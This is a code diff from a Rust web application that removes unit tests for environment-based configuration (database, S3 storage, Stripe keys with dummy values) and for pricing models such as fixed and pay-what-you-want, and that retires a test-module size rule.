| 1317 | - | EnvGuard::clear_all(); | |
| 1318 | - | ||
| 1319 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1320 | - | unsafe { | |
| 1321 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1322 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1323 | - | // HOST defaults to 127.0.0.1, HOST_URL defaults to http://..., no SIGNING_SECRET | |
| 1324 | - | } | |
| 1325 | - | ||
| 1326 | - | let config = Config::from_env().expect("should succeed in dev mode without SIGNING_SECRET"); | |
| 1327 | - | // Should be a 64-char hex string (256-bit random) | |
| 1328 | - | assert_eq!( | |
| 1329 | - | config.signing_secret.len(), | |
| 1330 | - | 64, | |
| 1331 | - | "expected 64-char hex signing secret, got length {}", | |
| 1332 | - | config.signing_secret.len() | |
| 1333 | - | ); | |
| 1334 | - | assert!( | |
| 1335 | - | config.signing_secret.chars().all(|c| c.is_ascii_hexdigit()), | |
| 1336 | - | "expected hex signing secret, got: {}", | |
| 1337 | - | config.signing_secret | |
| 1338 | - | ); | |
| 1339 | - | drop(guard); | |
| 1340 | - | } | |
| 1341 | - | ||
| 1342 | - | #[test] | |
| 1343 | - | fn from_env_storage_none_when_partially_set() { | |
| 1344 | - | let guard = EnvGuard::new(); | |
| 1345 | - | EnvGuard::clear_all(); | |
| 1346 | - | ||
| 1347 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1348 | - | unsafe { | |
| 1349 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1350 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1351 | - | // Set only some S3 vars, missing S3_SECRET_KEY and S3_ACCESS_KEY | |
| 1352 | - | std::env::set_var("S3_ENDPOINT", "https://fsn1.your-objectstorage.com"); | |
| 1353 | - | std::env::set_var("S3_BUCKET", "test-bucket"); | |
| 1354 | - | } | |
| 1355 | - | ||
| 1356 | - | let config = Config::from_env().expect("should succeed"); | |
| 1357 | - | assert!( | |
| 1358 | - | config.storage.is_none(), | |
| 1359 | - | "storage should be None when S3 vars are only partially set" | |
| 1360 | - | ); | |
| 1361 | - | drop(guard); | |
| 1362 | - | } | |
| 1363 | - | ||
| 1364 | - | #[test] | |
| 1365 | - | fn from_env_storage_some_when_fully_set() { | |
| 1366 | - | let guard = EnvGuard::new(); | |
| 1367 | - | EnvGuard::clear_all(); | |
| 1368 | - | ||
| 1369 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1370 | - | unsafe { | |
| 1371 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1372 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1373 | - | std::env::set_var("S3_ENDPOINT", "https://fsn1.your-objectstorage.com"); | |
| 1374 | - | std::env::set_var("S3_BUCKET", "test-bucket"); | |
| 1375 | - | std::env::set_var("S3_ACCESS_KEY", "ak"); | |
| 1376 | - | std::env::set_var("S3_SECRET_KEY", "sk"); | |
| 1377 | - | } | |
| 1378 | - | ||
| 1379 | - | let config = Config::from_env().expect("should succeed"); | |
| 1380 | - | let storage = config | |
| 1381 | - | .storage | |
| 1382 | - | .expect("storage should be Some when all S3 vars set"); | |
| 1383 | - | assert_eq!(storage.endpoint, "https://fsn1.your-objectstorage.com"); | |
| 1384 | - | assert_eq!(storage.bucket, "test-bucket"); | |
| 1385 | - | assert_eq!(storage.region, "us-east-1"); // default region | |
| 1386 | - | drop(guard); | |
| 1387 | - | } | |
| 1388 | - | ||
| 1389 | - | #[test] | |
| 1390 | - | fn from_env_stripe_none_when_secret_key_missing() { | |
| 1391 | - | let guard = EnvGuard::new(); | |
| 1392 | - | EnvGuard::clear_all(); | |
| 1393 | - | ||
| 1394 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1395 | - | unsafe { | |
| 1396 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1397 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1398 | - | // Set webhook secret but not secret key | |
| 1399 | - | std::env::set_var("STRIPE_WEBHOOK_SECRET", "whsec_test"); | |
| 1400 | - | } | |
| 1401 | - | ||
| 1402 | - | let config = Config::from_env().expect("should succeed"); | |
| 1403 | - | assert!( | |
| 1404 | - | config.stripe.is_none(), | |
| 1405 | - | "stripe should be None when STRIPE_SECRET_KEY is missing" | |
| 1406 | - | ); | |
| 1407 | - | drop(guard); | |
| 1408 | - | } | |
| 1409 | - | ||
| 1410 | - | #[test] | |
| 1411 | - | fn from_env_stripe_none_when_webhook_secret_missing() { | |
| 1412 | - | let guard = EnvGuard::new(); | |
| 1413 | - | EnvGuard::clear_all(); | |
| 1414 | - | ||
| 1415 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1416 | - | unsafe { | |
| 1417 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1418 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1419 | - | // Set secret key but not webhook secret | |
| 1420 | - | std::env::set_var("STRIPE_SECRET_KEY", "sk_test_abc"); | |
| 1421 | - | } | |
| 1422 | - | ||
| 1423 | - | let config = Config::from_env().expect("should succeed"); | |
| 1424 | - | assert!( | |
| 1425 | - | config.stripe.is_none(), | |
| 1426 | - | "stripe should be None when STRIPE_WEBHOOK_SECRET is missing" | |
| 1427 | - | ); | |
| 1428 | - | drop(guard); | |
| 1429 | - | } | |
| 1430 | - | ||
| 1431 | - | #[test] | |
| 1432 | - | fn from_env_stripe_some_when_fully_set() { | |
| 1433 | - | let guard = EnvGuard::new(); | |
| 1434 | - | EnvGuard::clear_all(); | |
| 1435 | - | ||
| 1436 | - | // SAFETY: test-only, serialized by EnvGuard mutex | |
| 1437 | - | unsafe { | |
| 1438 | - | std::env::set_var("DATABASE_URL", "postgres://localhost/test_db"); | |
| 1439 | - | std::env::set_var("CDN_BASE_URL", "https://cdn.test"); | |
| 1440 | - | std::env::set_var("STRIPE_SECRET_KEY", "sk_test_abc"); | |
| 1441 | - | std::env::set_var("STRIPE_WEBHOOK_SECRET", "whsec_test"); | |
| 1442 | - | } | |
| 1443 | - | ||
| 1444 | - | let config = Config::from_env().expect("should succeed"); | |
| 1445 | - | let stripe = config | |
| 1446 | - | .stripe | |
| 1447 | - | .expect("stripe should be Some when fully configured"); | |
| 1448 | - | assert_eq!(stripe.secret_key, "sk_test_abc"); | |
| 1449 | - | assert_eq!(stripe.webhook_secret, vec!["whsec_test".to_string()]); | |
| 1450 | - | assert!(stripe.webhook_secret_v2.is_none()); |
Lines truncated
| @@ -535,856 +535,4 @@ | |||
| 535 | 535 | // Tests | |
| 536 | 536 | ||
| 537 | 537 | #[cfg(test)] | |
| 538 | - | mod tests { | |
| 539 | - | use super::*; | |
| 540 | - | ||
| 541 | - | // ── FreePricing ── | |
| 542 | - | ||
| 543 | - | #[test] | |
| 544 | - | fn free_is_free() { | |
| 545 | - | assert!(FreePricing.is_free()); | |
| 546 | - | } | |
| 547 | - | ||
| 548 | - | #[test] | |
| 549 | - | fn free_always_accessible() { | |
| 550 | - | assert!(FreePricing.can_access(&AccessContext::default())); | |
| 551 | - | } | |
| 552 | - | ||
| 553 | - | #[test] | |
| 554 | - | fn free_price_display() { | |
| 555 | - | assert_eq!(FreePricing.price_display(SettlementCurrency::Usd), "Free"); | |
| 556 | - | } | |
| 557 | - | ||
| 558 | - | #[test] | |
| 559 | - | fn free_price_cents() { | |
| 560 | - | assert_eq!(FreePricing.price_cents(), 0); | |
| 561 | - | } | |
| 562 | - | ||
| 563 | - | #[test] | |
| 564 | - | fn free_checkout_type() { | |
| 565 | - | assert_eq!(FreePricing.checkout_type(), CheckoutType::None); | |
| 566 | - | } | |
| 567 | - | ||
| 568 | - | #[test] | |
| 569 | - | fn free_validate_amount() { | |
| 570 | - | assert!( | |
| 571 | - | FreePricing | |
| 572 | - | .validate_amount(0, SettlementCurrency::Usd) | |
| 573 | - | .is_ok() | |
| 574 | - | ); | |
| 575 | - | assert!( | |
| 576 | - | FreePricing | |
| 577 | - | .validate_amount(100, SettlementCurrency::Usd) | |
| 578 | - | .is_ok() | |
| 579 | - | ); | |
| 580 | - | } | |
| 581 | - | ||
| 582 | - | #[test] | |
| 583 | - | fn free_kind() { | |
| 584 | - | assert_eq!(FreePricing.kind(), db::PricingKind::Free); | |
| 585 | - | } | |
| 586 | - | ||
| 587 | - | // ── FixedPricing ── | |
| 588 | - | ||
| 589 | - | #[test] | |
| 590 | - | fn fixed_not_free() { | |
| 591 | - | let p = FixedPricing { price_cents: 999 }; | |
| 592 | - | assert!(!p.is_free()); | |
| 593 | - | } | |
| 594 | - | ||
| 595 | - | #[test] | |
| 596 | - | fn fixed_access_creator() { | |
| 597 | - | let p = FixedPricing { price_cents: 999 }; | |
| 598 | - | assert!(p.can_access(&AccessContext { | |
| 599 | - | is_creator: true, | |
| 600 | - | ..Default::default() | |
| 601 | - | })); | |
| 602 | - | } | |
| 603 | - | ||
| 604 | - | #[test] | |
| 605 | - | fn fixed_access_purchased() { | |
| 606 | - | let p = FixedPricing { price_cents: 999 }; | |
| 607 | - | assert!(p.can_access(&AccessContext { | |
| 608 | - | has_purchased: true, | |
| 609 | - | ..Default::default() | |
| 610 | - | })); | |
| 611 | - | } | |
| 612 | - | ||
| 613 | - | #[test] | |
| 614 | - | fn fixed_access_subscribed() { | |
| 615 | - | let p = FixedPricing { price_cents: 999 }; | |
| 616 | - | assert!(p.can_access(&AccessContext { | |
| 617 | - | subscription: Some(crate::db::subscriptions::SubscriptionGate::test_witness()), | |
| 618 | - | ..Default::default() | |
| 619 | - | })); | |
| 620 | - | } | |
| 621 | - | ||
| 622 | - | #[test] | |
| 623 | - | fn fixed_access_denied() { | |
| 624 | - | let p = FixedPricing { price_cents: 999 }; | |
| 625 | - | assert!(!p.can_access(&AccessContext::default())); | |
| 626 | - | } | |
| 627 | - | ||
| 628 | - | #[test] | |
| 629 | - | fn fixed_price_display_whole() { | |
| 630 | - | let p = FixedPricing { price_cents: 1000 }; | |
| 631 | - | assert_eq!(p.price_display(SettlementCurrency::Usd), "$10"); | |
| 632 | - | } | |
| 633 | - | ||
| 634 | - | #[test] | |
| 635 | - | fn fixed_price_display_cents() { | |
| 636 | - | let p = FixedPricing { price_cents: 999 }; | |
| 637 | - | assert_eq!(p.price_display(SettlementCurrency::Usd), "$9.99"); | |
| 638 | - | } | |
| 639 | - | ||
| 640 | - | #[test] | |
| 641 | - | fn fixed_validate_amount_ok() { | |
| 642 | - | let p = FixedPricing { price_cents: 999 }; | |
| 643 | - | assert!(p.validate_amount(999, SettlementCurrency::Usd).is_ok()); | |
| 644 | - | assert!(p.validate_amount(1500, SettlementCurrency::Usd).is_ok()); | |
| 645 | - | } | |
| 646 | - | ||
| 647 | - | #[test] | |
| 648 | - | fn fixed_validate_amount_too_low() { | |
| 649 | - | let p = FixedPricing { price_cents: 999 }; | |
| 650 | - | assert!(p.validate_amount(500, SettlementCurrency::Usd).is_err()); | |
| 651 | - | } | |
| 652 | - | ||
| 653 | - | #[test] | |
| 654 | - | fn fixed_kind() { | |
| 655 | - | let p = FixedPricing { price_cents: 999 }; | |
| 656 | - | assert_eq!(p.kind(), db::PricingKind::BuyOnce); | |
| 657 | - | } | |
| 658 | - | ||
| 659 | - | // ── PwywPricing ── | |
| 660 | - | ||
| 661 | - | #[test] | |
| 662 | - | fn pwyw_not_free() { | |
| 663 | - | let p = PwywPricing { min_cents: Some(0) }; | |
| 664 | - | assert!(!p.is_free()); | |
| 665 | - | } | |
| 666 | - | ||
| 667 | - | #[test] | |
| 668 | - | fn pwyw_not_free_even_zero_min() { | |
| 669 | - | let p = PwywPricing { min_cents: None }; | |
| 670 | - | assert!(!p.is_free()); | |
| 671 | - | } | |
| 672 | - | ||
| 673 | - | #[test] | |
| 674 | - | fn pwyw_access_creator() { | |
| 675 | - | let p = PwywPricing { | |
| 676 | - | min_cents: Some(500), | |
| 677 | - | }; | |
| 678 | - | assert!(p.can_access(&AccessContext { | |
| 679 | - | is_creator: true, | |
| 680 | - | ..Default::default() | |
| 681 | - | })); | |
| 682 | - | } | |
| 683 | - | ||
| 684 | - | #[test] | |
| 685 | - | fn pwyw_access_purchased() { | |
| 686 | - | let p = PwywPricing { | |
| 687 | - | min_cents: Some(500), | |
| 688 | - | }; | |
| 689 | - | assert!(p.can_access(&AccessContext { | |
| 690 | - | has_purchased: true, | |
| 691 | - | ..Default::default() | |
| 692 | - | })); | |
| 693 | - | } | |
| 694 | - | ||
| 695 | - | #[test] | |
| 696 | - | fn pwyw_access_denied() { | |
| 697 | - | let p = PwywPricing { | |
| 698 | - | min_cents: Some(500), | |
| 699 | - | }; | |
| 700 | - | assert!(!p.can_access(&AccessContext::default())); | |
| 701 | - | } | |
| 702 | - | ||
| 703 | - | #[test] | |
| 704 | - | fn pwyw_price_display_with_min() { | |
| 705 | - | let p = PwywPricing { | |
| 706 | - | min_cents: Some(500), | |
| 707 | - | }; | |
| 708 | - | assert_eq!(p.price_display(SettlementCurrency::Usd), "From $5"); | |
| 709 | - | } | |
| 710 | - | ||
| 711 | - | #[test] | |
| 712 | - | fn pwyw_price_display_no_min() { | |
| 713 | - | let p = PwywPricing { min_cents: None }; | |
| 714 | - | assert_eq!( | |
| 715 | - | p.price_display(SettlementCurrency::Usd), | |
| 716 | - | "Pay what you want" | |
| 717 | - | ); | |
| 718 | - | } | |
| 719 | - | ||
| 720 | - | #[test] | |
| 721 | - | fn pwyw_price_display_zero_min() { | |
| 722 | - | let p = PwywPricing { min_cents: Some(0) }; | |
| 723 | - | assert_eq!( | |
| 724 | - | p.price_display(SettlementCurrency::Usd), | |
| 725 | - | "Pay what you want" | |
| 726 | - | ); | |
| 727 | - | } | |
| 728 | - | ||
| 729 | - | #[test] | |
| 730 | - | fn pwyw_validate_amount_ok() { | |
| 731 | - | let p = PwywPricing { | |
| 732 | - | min_cents: Some(500), | |
| 733 | - | }; | |
| 734 | - | assert!(p.validate_amount(500, SettlementCurrency::Usd).is_ok()); | |
| 735 | - | assert!(p.validate_amount(1000, SettlementCurrency::Usd).is_ok()); | |
| 736 | - | } | |
| 737 | - | ||
| 738 | - | #[test] | |
| 739 | - | fn pwyw_validate_amount_too_low() { | |
| 740 | - | let p = PwywPricing { | |
| 741 | - | min_cents: Some(500), | |
| 742 | - | }; | |
| 743 | - | assert!(p.validate_amount(400, SettlementCurrency::Usd).is_err()); | |
| 744 | - | } | |
| 745 | - | ||
| 746 | - | #[test] | |
| 747 | - | fn pwyw_validate_amount_zero_min() { | |
| 748 | - | let p = PwywPricing { min_cents: Some(0) }; | |
| 749 | - | assert!(p.validate_amount(0, SettlementCurrency::Usd).is_ok()); | |
| 750 | - | } | |
| 751 | - | ||
| 752 | - | #[test] | |
| 753 | - | fn pwyw_chargeable_minimum_is_the_larger_of_the_two_floors() { | |
| 754 | - | // Stripe refuses a charge under the settlement currency's floor, so a | |
| 755 | - | // creator minimum below it is not a price anyone can pay. | |
| 756 | - | let low = PwywPricing { | |
| 757 | - | min_cents: Some(25), | |
| 758 | - | }; | |
| 759 | - | assert_eq!(low.chargeable_minimum_cents(SettlementCurrency::Usd), 50); | |
| 760 | - | assert_eq!(low.chargeable_minimum_cents(SettlementCurrency::Gbp), 30); | |
| 761 | - | ||
| 762 | - | let high = PwywPricing { | |
| 763 | - | min_cents: Some(999), | |
| 764 | - | }; | |
| 765 | - | assert_eq!(high.chargeable_minimum_cents(SettlementCurrency::Usd), 999); | |
| 766 | - | ||
| 767 | - | // No minimum at all still has a chargeable floor: $0 is a free claim, | |
| 768 | - | // not a charge, and every charge clears Stripe's floor. | |
| 769 | - | let none = PwywPricing { min_cents: None }; | |
| 770 | - | assert_eq!(none.chargeable_minimum_cents(SettlementCurrency::Usd), 50); | |
| 771 | - | } | |
| 772 | - | ||
| 773 | - | #[test] | |
| 774 | - | fn pwyw_price_display_states_the_chargeable_minimum() { | |
| 775 | - | // The card used to promise "From $0.25" against a charge path that | |
| 776 | - | // refused anything under $0.50. | |
| 777 | - | let p = PwywPricing { | |
| 778 | - | min_cents: Some(25), | |
| 779 | - | }; | |
| 780 | - | assert_eq!(p.price_display(SettlementCurrency::Usd), "From $0.50"); | |
| 781 | - | assert_eq!(p.price_display(SettlementCurrency::Gbp), "From \u{a3}0.30"); | |
| 782 | - | } | |
| 783 | - | ||
| 784 | - | #[test] | |
| 785 | - | fn pwyw_sub_floor_amount_is_refused_by_the_model_not_by_stripe() { | |
| 786 | - | // 25c against a 25c minimum: the model itself now names $0.50, so the | |
| 787 | - | // buyer is not told the "minimum purchase amount" by a downstream | |
| 788 | - | // guard that sounds like the creator mispriced the project. | |
| 789 | - | let p = PwywPricing { | |
| 790 | - | min_cents: Some(25), | |
| 791 | - | }; | |
| 792 | - | let Err(msg) = p.validate_amount(25, SettlementCurrency::Usd) else { | |
| 793 | - | panic!("25c must not reach a charge"); | |
| 794 | - | }; | |
| 795 | - | assert_eq!(msg, "Amount must be at least $0.50"); | |
| 796 | - | assert!(p.validate_amount(50, SettlementCurrency::Usd).is_ok()); | |
| 797 | - | } | |
| 798 | - | ||
| 799 | - | #[test] | |
| 800 | - | fn pwyw_free_claim_survives_the_floor() { | |
| 801 | - | // The floor is on a charge. A creator offering the project for nothing | |
| 802 | - | // still gets $0 claims, which never reach Stripe. | |
| 803 | - | let free = PwywPricing { min_cents: Some(0) }; | |
| 804 | - | assert!(free.validate_amount(0, SettlementCurrency::Usd).is_ok()); | |
| 805 | - | assert!( | |
| 806 | - | PwywPricing { min_cents: None } | |
| 807 | - | .validate_amount(0, SettlementCurrency::Usd) | |
| 808 | - | .is_ok() | |
| 809 | - | ); | |
| 810 | - | // But a creator who set a real minimum is not offering it free. | |
| 811 | - | let paid = PwywPricing { | |
| 812 | - | min_cents: Some(500), | |
| 813 | - | }; | |
| 814 | - | assert!(paid.validate_amount(0, SettlementCurrency::Usd).is_err()); | |
| 815 | - | } | |
| 816 | - | ||
| 817 | - | #[test] | |
| 818 | - | fn pwyw_minimum_cents() { | |
| 819 | - | let p = PwywPricing { | |
| 820 | - | min_cents: Some(500), | |
| 821 | - | }; | |
| 822 | - | assert_eq!(p.minimum_cents(), Some(500)); | |
| 823 | - | } | |
| 824 | - | ||
| 825 | - | #[test] | |
| 826 | - | fn pwyw_price_cents_with_min() { | |
| 827 | - | let p = PwywPricing { | |
| 828 | - | min_cents: Some(500), | |
| 829 | - | }; | |
| 830 | - | assert_eq!(p.price_cents(), 500); | |
| 831 | - | } | |
| 832 | - | ||
| 833 | - | #[test] | |
| 834 | - | fn pwyw_price_cents_no_min() { | |
| 835 | - | let p = PwywPricing { min_cents: None }; | |
| 836 | - | assert_eq!(p.price_cents(), 0); | |
| 837 | - | } | |
| 838 | - | ||
| 839 | - | #[test] | |
| 840 | - | fn pwyw_kind() { | |
| 841 | - | let p = PwywPricing { min_cents: None }; | |
| 842 | - | assert_eq!(p.kind(), db::PricingKind::Pwyw); | |
| 843 | - | } | |
| 844 | - | ||
| 845 | - | // ── SubscriptionPricing ── | |
| 846 | - | ||
| 847 | - | #[test] | |
| 848 | - | fn subscription_not_free() { | |
| 849 | - | assert!(!SubscriptionPricing.is_free()); | |
| 850 | - | } | |
| 851 | - | ||
| 852 | - | #[test] | |
| 853 | - | fn subscription_access_creator() { | |
| 854 | - | assert!(SubscriptionPricing.can_access(&AccessContext { | |
| 855 | - | is_creator: true, | |
| 856 | - | ..Default::default() | |
| 857 | - | })); | |
| 858 | - | } | |
| 859 | - | ||
| 860 | - | #[test] | |
| 861 | - | fn subscription_access_subscribed() { | |
| 862 | - | assert!(SubscriptionPricing.can_access(&AccessContext { | |
| 863 | - | subscription: Some(crate::db::subscriptions::SubscriptionGate::test_witness()), | |
| 864 | - | ..Default::default() | |
| 865 | - | })); | |
| 866 | - | } | |
| 867 | - | ||
| 868 | - | #[test] | |
| 869 | - | fn subscription_access_purchased_not_enough() { | |
| 870 | - | assert!(!SubscriptionPricing.can_access(&AccessContext { | |
| 871 | - | has_purchased: true, | |
| 872 | - | ..Default::default() | |
| 873 | - | })); | |
| 874 | - | } | |
| 875 | - | ||
| 876 | - | #[test] | |
| 877 | - | fn subscription_access_denied() { | |
| 878 | - | assert!(!SubscriptionPricing.can_access(&AccessContext::default())); | |
| 879 | - | } | |
| 880 | - | ||
| 881 | - | #[test] | |
| 882 | - | fn subscription_price_cents_is_zero() { | |
| 883 | - | assert_eq!(SubscriptionPricing.price_cents(), 0); | |
| 884 | - | } | |
| 885 | - | ||
| 886 | - | #[test] | |
| 887 | - | fn subscription_price_display() { | |
| 888 | - | assert_eq!( | |
| 889 | - | SubscriptionPricing.price_display(SettlementCurrency::Usd), | |
| 890 | - | "Subscription" | |
| 891 | - | ); | |
| 892 | - | } | |
| 893 | - | ||
| 894 | - | #[test] | |
| 895 | - | fn subscription_checkout_type() { | |
| 896 | - | assert_eq!( | |
| 897 | - | SubscriptionPricing.checkout_type(), | |
| 898 | - | CheckoutType::Subscription | |
| 899 | - | ); | |
| 900 | - | } | |
| 901 | - | ||
| 902 | - | #[test] | |
| 903 | - | fn subscription_validate_amount() { | |
| 904 | - | assert!( | |
| 905 | - | SubscriptionPricing | |
| 906 | - | .validate_amount(100, SettlementCurrency::Usd) | |
| 907 | - | .is_err() | |
| 908 | - | ); | |
| 909 | - | } | |
| 910 | - | ||
| 911 | - | #[test] | |
| 912 | - | fn subscription_kind() { | |
| 913 | - | assert_eq!(SubscriptionPricing.kind(), db::PricingKind::Subscription); | |
| 914 | - | } | |
| 915 | - | ||
| 916 | - | // ── Constructors ── | |
| 917 | - | ||
| 918 | - | #[test] | |
| 919 | - | fn for_item_free() { | |
| 920 | - | let item = make_test_item(0, false, None); | |
| 921 | - | let p = for_item(&item); | |
| 922 | - | assert!(p.is_free()); | |
| 923 | - | assert_eq!(p.checkout_type(), CheckoutType::None); | |
| 924 | - | } | |
| 925 | - | ||
| 926 | - | #[test] | |
| 927 | - | fn for_item_fixed() { | |
| 928 | - | let item = make_test_item(999, false, None); | |
| 929 | - | let p = for_item(&item); | |
| 930 | - | assert!(!p.is_free()); | |
| 931 | - | assert_eq!(p.checkout_type(), CheckoutType::OneTime); | |
| 932 | - | assert_eq!(p.price_cents(), 999); | |
| 933 | - | } | |
| 934 | - | ||
| 935 | - | #[test] | |
| 936 | - | fn for_item_pwyw() { | |
| 937 | - | let mut item = make_test_item(500, false, Some(100)); | |
| 938 | - | item.pwyw_enabled = true; | |
| 939 | - | let p = for_item(&item); | |
| 940 | - | assert!(!p.is_free()); | |
| 941 | - | assert_eq!(p.checkout_type(), CheckoutType::PayWhatYouWant); | |
| 942 | - | assert_eq!(p.minimum_cents(), Some(100)); | |
| 943 | - | } | |
| 944 | - | ||
| 945 | - | #[test] | |
| 946 | - | fn for_project_free() { | |
| 947 | - | let project = make_test_project(db::PricingKind::Free, 0, None); | |
| 948 | - | let p = for_project(&project); | |
| 949 | - | assert!(p.is_free()); | |
| 950 | - | } | |
| 951 | - | ||
| 952 | - | #[test] | |
| 953 | - | fn for_project_buy_once() { | |
| 954 | - | let project = make_test_project(db::PricingKind::BuyOnce, 1999, None); | |
| 955 | - | let p = for_project(&project); | |
| 956 | - | assert!(!p.is_free()); | |
| 957 | - | assert_eq!(p.checkout_type(), CheckoutType::OneTime); | |
| 958 | - | assert_eq!(p.price_cents(), 1999); | |
| 959 | - | } | |
| 960 | - | ||
| 961 | - | #[test] | |
| 962 | - | fn for_project_pwyw() { | |
| 963 | - | let project = make_test_project(db::PricingKind::Pwyw, 0, Some(500)); | |
| 964 | - | let p = for_project(&project); | |
| 965 | - | assert!(!p.is_free()); | |
| 966 | - | assert_eq!(p.checkout_type(), CheckoutType::PayWhatYouWant); | |
| 967 | - | } | |
| 968 | - | ||
| 969 | - | #[test] | |
| 970 | - | fn for_project_subscription() { | |
| 971 | - | let project = make_test_project(db::PricingKind::Subscription, 0, None); | |
| 972 | - | let p = for_project(&project); | |
| 973 | - | assert!(!p.is_free()); | |
| 974 | - | assert_eq!(p.checkout_type(), CheckoutType::Subscription); | |
| 975 | - | } | |
| 976 | - | ||
| 977 | - | // ── Edge cases (test-fuzz) ── | |
| 978 | - | ||
| 979 | - | #[test] | |
| 980 | - | fn fixed_zero_cents_still_not_free() { | |
| 981 | - | // FixedPricing with 0 cents: is_free is hardcoded false | |
| 982 | - | let p = FixedPricing { price_cents: 0 }; | |
| 983 | - | assert!(!p.is_free()); | |
| 984 | - | assert_eq!(p.price_cents(), 0); | |
| 985 | - | } | |
| 986 | - | ||
| 987 | - | #[test] | |
| 988 | - | fn fixed_negative_price_validate_amount() { | |
| 989 | - | // Negative price_cents is semantically wrong but FixedPricing doesn't validate construction | |
| 990 | - | let p = FixedPricing { price_cents: -100 }; | |
| 991 | - | // amount >= price_cents (-100), so 0 and -50 pass, but -200 fails | |
| 992 | - | assert!(p.validate_amount(0, SettlementCurrency::Usd).is_ok()); | |
| 993 | - | assert!(p.validate_amount(-50, SettlementCurrency::Usd).is_ok()); | |
| 994 | - | assert!(p.validate_amount(-200, SettlementCurrency::Usd).is_err()); // -200 < -100 | |
| 995 | - | } | |
| 996 | - | ||
| 997 | - | #[test] | |
| 998 | - | fn pwyw_validate_amount_at_cap() { | |
| 999 | - | let p = PwywPricing { min_cents: Some(0) }; | |
| 1000 | - | assert!( | |
| 1001 | - | p.validate_amount(1_000_000, SettlementCurrency::Usd) | |
| 1002 | - | .is_ok() | |
| 1003 | - | ); // exactly $10,000 | |
| 1004 | - | assert!( | |
| 1005 | - | p.validate_amount(1_000_001, SettlementCurrency::Usd) | |
| 1006 | - | .is_err() | |
| 1007 | - | ); // $10,000.01 | |
| 1008 | - | } | |
| 1009 | - | ||
| 1010 | - | #[test] | |
| 1011 | - | fn pwyw_validate_amount_negative() { | |
| 1012 | - | let p = PwywPricing { min_cents: Some(0) }; | |
| 1013 | - | // Negative amount is below min (0), should fail | |
| 1014 | - | assert!(p.validate_amount(-1, SettlementCurrency::Usd).is_err()); | |
| 1015 | - | } | |
| 1016 | - | ||
| 1017 | - | #[test] | |
| 1018 | - | fn pwyw_negative_min_cents() { | |
| 1019 | - | // A negative minimum is a corrupt row, and it used to let a negative | |
| 1020 | - | // amount through on the "still above the minimum" reading. The floor | |
| 1021 | - | // is now the larger of the creator's minimum and the currency's, so a | |
| 1022 | - | // corrupt row cannot open a path to a negative charge. | |
| 1023 | - | let p = PwywPricing { | |
| 1024 | - | min_cents: Some(-100), | |
| 1025 | - | }; | |
| 1026 | - | assert!(p.validate_amount(-50, SettlementCurrency::Usd).is_err()); | |
| 1027 | - | assert!(p.validate_amount(500, SettlementCurrency::Usd).is_ok()); | |
| 1028 | - | } | |
| 1029 | - | ||
| 1030 | - | #[test] | |
| 1031 | - | fn fixed_validate_amount_no_upper_cap() { | |
| 1032 | - | // FixedPricing has no $10k cap like PWYW does | |
| 1033 | - | let p = FixedPricing { price_cents: 100 }; | |
| 1034 | - | assert!( |
Lines truncated
| @@ -62,16 +62,6 @@ | |||
| 62 | 62 | /// stragglers. | |
| 63 | 63 | const TEST_PREFIX_HIGH_WATER: usize = 176; | |
| 64 | 64 | ||
| 65 | - | /// Workflow modules over [`MAX_MODULE_LINES`]. | |
| 66 | - | /// | |
| 67 | - | /// Past this a module stops being findable: nobody locates the existing test for | |
| 68 | - | /// a behavior, so they write a second one beside it. The fix is to split by | |
| 69 | - | /// domain, one module per feature domain. | |
| 70 | - | const OVERSIZED_MODULE_HIGH_WATER: usize = 10; | |
| 71 | - | ||
| 72 | - | /// The point at which a workflow module should have been split. | |
| 73 | - | const MAX_MODULE_LINES: usize = 800; | |
| 74 | - | ||
| 75 | 65 | const WORKFLOWS_DIR: &str = "tests/workflows"; | |
| 76 | 66 | ||
| 77 | 67 | /// The whole test tree: the harness and the load runner are as much a part of the | |
| @@ -138,34 +128,27 @@ | |||
| 138 | 128 | ); | |
| 139 | 129 | } | |
| 140 | 130 | ||
| 141 | - | #[test] | |
| 142 | - | fn oversized_workflow_modules_do_not_increase() { | |
| 143 | - | let mut over: Vec<(String, usize)> = rs_files(Path::new(WORKFLOWS_DIR)) | |
| 144 | - | .into_iter() | |
| 145 | - | .map(|p| { | |
| 146 | - | let lines = fs::read_to_string(&p) | |
| 147 | - | .expect("read workflow module") | |
| 148 | - | .lines() | |
| 149 | - | .count(); | |
| 150 | - | (file_name(&p), lines) | |
| 151 | - | }) | |
| 152 | - | .filter(|(_, lines)| *lines > MAX_MODULE_LINES) | |
| 153 | - | .collect(); | |
| 154 | - | let total = over.len(); | |
| 155 | - | ||
| 156 | - | if total > OVERSIZED_MODULE_HIGH_WATER { | |
| 157 | - | over.sort_by_key(|(_, n)| std::cmp::Reverse(*n)); | |
| 158 | - | panic!( | |
| 159 | - | "workflow modules over {MAX_MODULE_LINES} lines rose from \ | |
| 160 | - | {OVERSIZED_MODULE_HIGH_WATER} to {total}.\n\ | |
| 161 | - | Split the module by domain rather than growing it: {over:?}", | |
| 162 | - | ); | |
| 163 | - | } | |
| 164 | - | assert_eq!( | |
| 165 | - | total, OVERSIZED_MODULE_HIGH_WATER, | |
| 166 | - | "oversized modules fell to {total}. Lower OVERSIZED_MODULE_HIGH_WATER to {total}.", | |
| 167 | - | ); | |
| 168 | - | } | |
| 131 | + | // The module-size rule that stood here is retired, as of 2026-09-03. It set | |
| 132 | + | // MAX_MODULE_LINES = 800 and froze the count of `tests/workflows` files over it | |
| 133 | + | // at 10. The astra sweep's `module-size` check now owns that budget: | |
| 134 | + | // Apps/witchbroom/scripts/module-size.mjs against | |
| 135 | + | // Apps/witchbroom/policy/module-size.toml. | |
